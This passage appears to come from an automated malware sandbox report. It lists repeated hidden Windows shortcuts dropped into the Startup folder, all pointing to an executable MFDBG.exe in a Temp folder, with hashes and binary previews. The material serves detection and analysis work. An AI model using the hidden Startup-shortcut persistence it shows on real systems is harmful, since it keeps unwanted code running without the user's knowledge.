Preview:	L..................F...."...]W%.{...Z...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3d15bced02634f538db4ebcb21b20d42.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932645970252579
Encrypted:	false
SSDEEP:	24:8ayhBfe8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8JL0R6rMhpBoUBxdRd1nYyg
MD5:	D3A3BBBF17F1630F65EE91C2D686EFDC
SHA1:	779F7063C7F04F5A58BED98606ED23FF4BF9A9C2
SHA-256:	10C0E39F92E1DA43311B899EED6299DB1567025CA05B8DA5B1121D3DE20D0E4D
SHA-512:	180B4398A031062CEA33D3A4B24E0A0277954976FF18A00EC548BB6E219F9051E9DF7E3D8D1BE735D28DC9FBFC92FBAD62C28D05D868B0D4BE109BA180B3EAC9
Malicious:	false
Preview:	L..................F...."...]W%.{.....<.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...<S:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3dc1285023bd420682de11bb2a71fb44.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932173421652779
Encrypted:	false
SSDEEP:	24:86e9hBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Hi0R6rMhpBoUBxdRd1nYyg
MD5:	77049E519186D682C6E72DFD5390761F
SHA1:	41A8573B2BCEACF9F2FF255B11BF1753F650ADB4
SHA-256:	B6E3FB30D85AE3D2C45907319AFB056D0B480BAF7A3A6855E37B6B4B47664224
SHA-512:	16A7DAD2D29C6844AEBD490F3C6B1285C964A4F85B32CC9630DA795EC937B136EFB503D8D40601D510538E09F35326C2FFAD82BB55AB40639335BF446F4CDDB8
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ddbeed70c9244c1bba47bf6d0a71a84.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:00 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9352646408041005
Encrypted:	false
SSDEEP:	24:8KhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8gs0R6rMhpBoUBxdRd1nYyg
MD5:	57367E27F9AF7B6DB4DFFB5AC4B72140
SHA1:	F120A2970F77F19F3552C271B322A9AE2691F778
SHA-256:	D0B694B2E0C0BD6089C3AF6E4032F2A46F868CE75504196597B710B929371A34
SHA-512:	C3BAE9451E8BF5EAE786D1F4672AF7E0FFDAE2BE8BCA42D966BBAC119D4E2C0E926A7DE033957BE8522506C0E30BA786A5E8A13B362894C59139123BE205279F
Malicious:	false
Preview:	L..................F...."...]W%.{....]O.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3dfb4f7048a742fb8385594f1219fce6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934148377529593
Encrypted:	false
SSDEEP:	24:89hBfQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:89t0R6rMhpBoUBxdRd1nYyg
MD5:	E51D29FE7C71A9CB4A14DC5157BBA670
SHA1:	5AD6A279E29620E0DF941D745FEDF052A9A38C2A
SHA-256:	0ED762F22A37B9909944F27AF04F4B295F93DF05D78B894FFAE3373568C8FBB0
SHA-512:	820639DD9FB821B6ACEDA407BAEB3EF172F9AEBBCEFE147B29C6B3E42A9D5A2536D66DFA5404D60A5BE24B08CB228907B9E91C481AB5BA4434663435A1ED7E97
Malicious:	false
Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....&..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3e58e47d93c344d58836d76b0e8bb1aa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:28 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934185389916501
Encrypted:	false
SSDEEP:	24:8lhBfZ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:81G0R6rMhpBoUBxdRd1nYyg
MD5:	A42B40A274072479F0D6ED8F6F584F9B
SHA1:	CDED43D5CE4F3AFF7178743EC7FB89143635E410
SHA-256:	F8B76BA2A119EA68AD777FF81B6440A0B3F7C04CDDFEA6C16AF0D18D3D8C75C5
SHA-512:	FCFD1BDD97DBECC39D4A19F00CAE940EB9B06F1721C0EAD392E2BD7A50BDA44859A77D31BE2B0476323F9E9ED2EA29A1DE11BF6A8000386EF3594825757E7911
Malicious:	false
Preview:	L..................F...."...]W%.{....'3.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....0.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3eb90e18e0f2408b9d42841c36459563.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942856855149757
Encrypted:	false
SSDEEP:	24:85hBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ZS0R6rMhpBoUBxdRd1nYyg
MD5:	8C0001AA5FCC5B39FB83D3A58EFB49DB
SHA1:	822C3F7DD1725EEB4D220A307C4EFD5B90728876
SHA-256:	9ECF950B5F2EE178CA5B350F73AC278A25263F55561134D4F36CDF5EE7C58848
SHA-512:	7EB898EF1135804C7D474D725E77005BE5A4F42B284464A3D7CCA9151030348035790E21674593F4C39FBD6D470F857A088DECC0D273507FEF2FE6F311AB29E3
Malicious:	false
Preview:	L..................F...."...]W%.{.....{.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3ece3ffb69f745669cf4dc80761961f9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:16 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.938499572253277
Encrypted:	false
SSDEEP:	24:8FhBfF8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8V60R6rMhpBoUBxdRd1nYyg
MD5:	D8EFA7603FEC8028D190DA6FA74C81FD
SHA1:	7EBDA6490A54F077BF15580E96ABE74AB543D869
SHA-256:	8008196C93DA7042E81B625BED4B7C725776FC7241F2A0D7887240102E012E83
SHA-512:	81C65DDB93DB02C30E7068C00E23971477FCB0F8E4DF1274C6AF494726BF3813B236423B09ED7DF7285FC9591A462EAABA1432BB3C5C2C114C7642C8A175900F
Malicious:	false
Preview:	L..................F...."...]W%.{...q...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....(..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3eff6c286ea2468cbd4b80d81ab222c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.942512926052347
Encrypted:	false
SSDEEP:	24:8yhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:84D0R6rMhpBoUBxdRd1nYyg
MD5:	D955B64B48644CA87546DFA43783140E
SHA1:	DCCA9CF03DE05F507B813C1A187357BEA27AEFD1
SHA-256:	B1323489DDEE5AD907828AE73AA16722A193F1C2228EAFF01ECF3F8673B477DB
SHA-512:	05CC693B577FA7E5815065F68CD2683DFB4F000288BD1F613537F31B78F99FFEA4E7BBAFA6EC56413A86FEC66A76E357F36F13953E6A9F3CC912C2F14A7DC94F
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f1fc5f1f3434908a5ca534ead5d4837.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936993399614912
Encrypted:	false
SSDEEP:	24:8KHhBfy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Cn0R6rMhpBoUBxdRd1nYyg
MD5:	B5F1BE706F0240D78E9CF19BA875B30A
SHA1:	995EFD7EE7A78F945F1DCE1B472D64936CE9BE81
SHA-256:	98566B32DB21885D4A767CFEAD70AA90DDCF67247DDC024FE20257B01413B676
SHA-512:	C0F38F0BB46F723AA0CB7624E33D552D47E34D1155250C8A7EF7392C470997151D0178059B5A66CE3ABCFDE3F63B006D8FE835ED4F2386618E5D0C5C248B044E
Malicious:	false
Preview:	L..................F...."...]W%.{...]...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...K...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f24393e90ad4bc8b6d72de7f286eab5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.943178025173193
Encrypted:	false
SSDEEP:	24:8ChBft8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oC0R6rMhpBoUBxdRd1nYyg
MD5:	0F33925DFE8208C67C051BC43B2041A9
SHA1:	92674E33C99FFF600F1D6C1ACC91B081A458135F
SHA-256:	2BA028B19987EFFE6F5BDF638B53B6242BEEA126F44E350E4896F450581A1262
SHA-512:	4EE6ADA6C109FA1D6F2A0E30B1FEDCFF7B95FA03D2AAD77FBE255C809EE9130B817B054802CA29AAC4ACA2CE512138F450D40E8AB5D818B5DED21198DA6B2368
Malicious:	false
Preview:	L..................F...."...]W%.{...._/.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s#.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f34bf13a71547ea829828aeacf05614.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933276670686378
Encrypted:	false
SSDEEP:	24:8QhBf1D8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8CNQ0R6rMhpBoUBxdRd1nYyg
MD5:	A051CC5D815E21B8FC9CFF19B7C3A027
SHA1:	DF07DA6C2AD5A24ED2CE9D818783AF7A79C3D5A3
SHA-256:	FDEA9433CF309857806B079ED67CD26A8A29F8BDDF5F29845B6A1E15F6CA5135
SHA-512:	113529CADAFC1E5A4388ECBD6AD1B54EE51FC6149F0A2CA24CFAF771987BEA9AF0B5B5DCF77EE2870B64D52855D547C70EC2F2919704098872845F2805DF9743
Malicious:	false
Preview:	L..................F...."...]W%.{...2.G.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f5b4cde20c845038dcf777ca4e4e52f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:49:59 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.935176653605765
Encrypted:	false
SSDEEP:	24:8DhBfv8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83s0R6rMhpBoUBxdRd1nYyg
MD5:	7EE42C8F889CA2B4FE425E27AE5482C9
SHA1:	CA95271A84743C365992DD76B30BA7AD19B8C2E3
SHA-256:	2A04DD0D71C7B3A7A9DE58B4E23A85D750B191CA290D0F3D4FAFE14CD6586366
SHA-512:	63ECA9D27405D5F716E38C9DADE6AE66434905608A2698E2A8134D8427AB40FF801B2996BEEF0FAB63A83FA6BEDBF743C8F77D1F619C771F2AA544520B150C05
Malicious:	false
Preview:	L..................F...."...]W%.{.....{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...N.e.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3f5b57ecd8d24ae1a081682e6d29f345.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936375655388343
Encrypted:	false
SSDEEP:	24:8g9hBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Ql0R6rMhpBoUBxdRd1nYyg
MD5:	28234EB5275884EDAC142BD341AC9281
SHA1:	2EAC1D046D77C1520498870F90D8E4AEE7C6652E
SHA-256:	DCA7CD3646E120B8C4B941779BFA90F8CD5BD505EA9F61DB1F276CD72FE18D0B
SHA-512:	E623DEA63F3761FC10831D68081D2EDC00B59D4F20A42F6A26BB57055286E7A2B91499945D461525AD39EDBB74C672B5B3478828119FA226285C16C49A1F10BA
Malicious:	false
